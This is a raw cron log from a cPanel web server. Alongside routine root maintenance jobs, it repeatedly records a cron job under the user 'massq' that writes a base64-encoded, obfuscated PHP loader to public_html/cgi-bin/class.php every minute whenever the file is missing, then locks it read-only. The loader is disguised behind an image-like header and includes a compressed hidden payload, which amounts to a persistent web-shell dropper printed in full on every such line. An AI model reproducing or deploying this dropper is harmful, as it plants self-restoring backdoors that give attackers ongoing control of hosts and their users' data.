Sep  6 22:35:01 server CROND[32249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:35:01 server CROND[32250]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:35:01 server CROND[32254]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 22:35:01 server CROND[32256]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 22:35:01 server CROND[32259]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 22:35:01 server CROND[32258]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 22:35:01 server CROND[32252]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:36:01 server CROND[621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:36:01 server CROND[622]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:36:01 server CROND[623]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:37:01 server CROND[1016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:37:01 server CROND[1018]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:37:01 server CROND[1019]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:38:01 server CROND[1478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:38:01 server CROND[1480]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:38:01 server CROND[1479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:39:01 server CROND[1849]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:39:01 server CROND[1852]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:39:01 server CROND[1850]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:39:01 server CROND[1851]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 22:40:01 server CROND[2378]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 22:40:01 server CROND[2381]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 22:40:01 server CROND[2383]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 22:40:01 server CROND[2384]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:40:01 server CROND[2385]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 22:40:01 server CROND[2387]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 22:40:01 server CROND[2388]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:40:01 server CROND[2390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:41:01 server CROND[3281]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:41:01 server CROND[3282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:41:01 server CROND[3283]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:42:01 server CROND[3775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:42:01 server CROND[3776]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:42:01 server CROND[3777]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:42:01 server CROND[3778]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 22:43:01 server CROND[4169]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:43:01 server CROND[4170]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:43:01 server CROND[4171]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:44:01 server CROND[4540]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:44:01 server CROND[4541]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:44:01 server CROND[4542]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:45:01 server CROND[5026]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 22:45:01 server CROND[5027]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:45:01 server CROND[5028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:45:01 server CROND[5033]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 22:45:01 server CROND[5032]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 22:45:01 server CROND[5031]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 22:45:01 server CROND[5034]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:46:01 server CROND[5857]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:46:01 server CROND[5858]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
